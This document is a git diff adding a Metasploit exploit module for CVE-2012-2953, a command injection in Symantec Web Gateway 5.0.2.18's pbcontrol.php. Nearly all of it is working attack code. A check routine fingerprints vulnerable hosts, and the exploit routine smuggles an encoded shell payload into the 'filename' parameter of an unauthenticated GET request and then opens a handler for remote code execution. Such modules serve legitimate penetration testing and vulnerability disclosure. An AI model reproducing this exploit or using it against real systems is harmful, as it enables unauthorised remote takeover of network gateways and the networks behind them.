diff --git a/modules/exploits/linux/http/symantec_web_gateway_pbcontrol.rb b/modules/exploits/linux/http/symantec_web_gateway_pbcontrol.rb new file mode 100644 index 0000000000..80386a3db8 --- /dev/null +++ b/modules/exploits/linux/http/symantec_web_gateway_pbcontrol.rb @@ -0,0 +1,93 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "Symantec Web Gateway 5.0.2.18 pbcontrol.php Command Injection", + 'Description' => %q{ + This module exploits a command injection vulnerability found in Symantec Web + Gateway's HTTP service. While handling the filename parameter, the Spywall API + does not do any filtering before passing it to an exec() call in proxy_file(), + thus results in remote code execution under the context of the web server. Please + note authentication is NOT needed to gain access. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'muts', # Original discovery + 'sinn3r' # Metasploit + ], + 'References' => + [ + [ 'CVE', '2012-2953' ], + [ 'BID', '54426' ], + [ 'EDB', '20088' ], + [ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120720_00'] + ], + 'Payload' => + { + #'BadChars' => "\x00\x0d\x0a", + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic perl bash telnet' + } + }, + 'Platform' => ['unix'], + 'Arch' => ARCH_CMD, + 'Targets' => + [ + ['Symantec Web Gateway 5.0.2.18', {}] + ], + 'Privileged' => false, + 'DisclosureDate' => "Jul 23 2012", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The URI path to pbcontrol', '/spywall/pbcontrol.php']) + ], self.class) + end + + + def check + dir = File.dirname(target_uri.path) + + res1 = send_request_raw({'uri' => "#{dir}/login.php"}) + res2 = send_request_raw({'uri' => "#{dir}/pbcontrol.php"}) + + if res1 and res2 + if res1.body =~ /\Symantec Web Gateway\<\/title\>/ and res2.body =~ /^0$/ + return Exploit::CheckCode::Detected + end + end + + return Exploit::CheckCode::Safe + end + + + def exploit + send_request_cgi({ + 'uri' => target_uri.path, + 'method' => 'GET', + 'vars_get' => { + 'filename' => "#{Rex::Text.rand_text_alpha(4)}\";#{payload.encoded};\"", + 'stage' => '0' + } + }) + + handler + end + +end